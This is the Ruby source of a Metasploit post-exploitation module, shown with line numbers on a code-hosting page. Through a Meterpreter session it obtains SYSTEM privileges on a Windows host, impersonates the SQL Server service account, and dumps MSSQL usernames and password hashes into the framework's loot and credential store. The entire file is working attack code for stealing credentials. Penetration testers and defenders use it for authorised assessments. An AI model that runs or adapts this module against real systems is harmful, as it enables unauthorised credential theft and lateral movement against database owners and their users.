Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/mssql_local_hashdump.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::Windows::MSSQL
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather Local SQL Server Hash Dump',
15
'Description' => %q{
16
This module extracts the usernames and password
17
hashes from an MSSQL server and stores them as loot. It uses the
18
same technique in mssql_local_auth_bypass.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'Mike Manzotti <mike.manzotti[at]dionach.com>',
23
'nullbind' # Original technique
24
],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter' ],
27
'References' => [
28
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
29
],
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
'SideEffects' => [],
33
'Reliability' => []
34
},
35
'Compat' => {
36
'Meterpreter' => {
37
'Commands' => %w[
38
stdapi_sys_config_rev2self
39
]
40
}
41
}
42
)
43
)
44
45
register_options(
46
[
47
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
48
]
49
)
50
end
51
52
def run
53
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
54
print_status("Running module against #{hostname} (#{session.session_host})")
55
56
# Set instance name (if specified)
57
instance = datastore['INSTANCE'].to_s
58
59
# Identify available native SQL client
60
get_sql_client
61
fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
62
63
# Get LocalSystem privileges
64
system_status = get_system
65
fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
66
67
begin
68
service = check_for_sqlserver(instance)
69
fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
70
71
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
72
instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip
73
74
begin
75
get_sql_hash(instance_name)
76
rescue RuntimeError
77
# Attempt to impersonate sql server service account (for sql server 2012)
78
if impersonate_sql_user(service)
79
get_sql_hash(instance_name)
80
end
81
end
82
ensure
83
# return to original priv context
84
session.sys.config.revert_to_self
85
end
86
end
87
88
def get_sql_version(instance_name)
89
vprint_status('Attempting to get version...')
90
91
query = mssql_sql_info
92
93
get_version_result = run_sql(query, instance_name)
94
95
# Parse Data
96
get_version_array = get_version_result.split("\n")
97
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
98
if version_year
99
vprint_status("MSSQL version found: #{version_year}")
100
return version_year
101
else
102
vprint_error('MSSQL version not found')
103
end
104
end
105
106
def get_sql_hash(instance_name)
107
version_year = get_sql_version(instance_name)
108
109
case version_year
110
when '2000'
111
hash_type = 'mssql'
112
query = mssql_2k_password_hashes
113
when '2005', '2008'
114
hash_type = 'mssql05'
115
query = mssql_2k5_password_hashes
116
when '2012', '2014'
117
hash_type = 'mssql12'
118
query = mssql_2k5_password_hashes
119
else
120
fail_with(Failure::Unknown, 'Unable to determine MSSQL Version')
121
end
122
123
print_status('Attempting to get password hashes...')
124
125
res = run_sql(query, instance_name)
126
127
if res.include?('0x')
128
# Parse Data
129
if hash_type == 'mssql12'
130
res = res.unpack('H*')[0].gsub('200d0a', '_CRLF_').gsub('0d0a', '').gsub('_CRLF_', '0d0a').gsub(/../) do |pair|
131
pair.hex.chr
132
end
133
end
134
hash_array = res.split("\r\n").grep(/0x/)
135
136
store_hashes(hash_array, hash_type)
137
else
138
fail_with(Failure::Unknown, 'Unable to retrieve hashes')
139
end
140
end
141
142
def store_hashes(hash_array, hash_type)
143
# Save data
144
loot_hashes = ''
145
hash_array.each do |row|
146
user, hash = row.strip.split
147
148
service_data = {
149
address: rhost,
150
port: rport,
151
service_name: 'mssql',
152
protocol: 'tcp',
153
workspace_id: myworkspace_id
154
}
155
156
# Initialize Metasploit::Credential::Core object
157
credential_data = {
158
post_reference_name: refname,
159
origin_type: :session,
160
private_type: :nonreplayable_hash,
161
private_data: hash,
162
username: user,
163
session_id: session_db_id,
164
jtr_format: hash_type,
165
workspace_id: myworkspace_id
166
}
167
168
credential_data.merge!(service_data)
169
170
# Create the Metasploit::Credential::Core object
171
credential_core = create_credential(credential_data)
172
173
# Assemble the options hash for creating the Metasploit::Credential::Login object
174
login_data = {
175
core: credential_core,
176
status: Metasploit::Model::Login::Status::UNTRIED
177
}
178
179
# Merge in the service data and create our Login
180
login_data.merge!(service_data)
181
create_credential_login(login_data)
182
183
print_line("#{user}:#{hash}")
184
185
loot_hashes << "#{user}:#{hash}\n"
186
end
187
188
if loot_hashes.empty?
189
return false
190
else
191
# Store MSSQL password hash as loot
192
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
193
print_good("MSSQL password hash saved in: #{loot_path}")
194
return true
195
end
196
end
197
end
198
199